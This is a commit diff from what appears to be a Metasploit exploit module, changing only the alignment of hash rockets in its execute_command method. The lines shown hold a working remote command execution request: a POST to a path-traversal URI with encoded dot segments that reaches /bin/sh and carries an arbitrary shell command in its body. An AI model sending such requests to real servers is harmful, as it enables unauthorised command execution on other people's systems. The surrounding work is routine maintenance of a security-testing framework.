Hash rocket alignment.
This commit is contained in:
parent
bc0c2bf721
commit
0531dd7bb9
|
@ -83,10 +83,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def execute_command(cmd, opts = {})
|
def execute_command(cmd, opts = {})
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
|
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
|
||||||
'headers' => {'Content-Length:' => '1'},
|
'headers' => {'Content-Length:' => '1'},
|
||||||
'data' => "echo\necho\n#{cmd} 2>&1"
|
'data' => "echo\necho\n#{cmd} 2>&1"
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue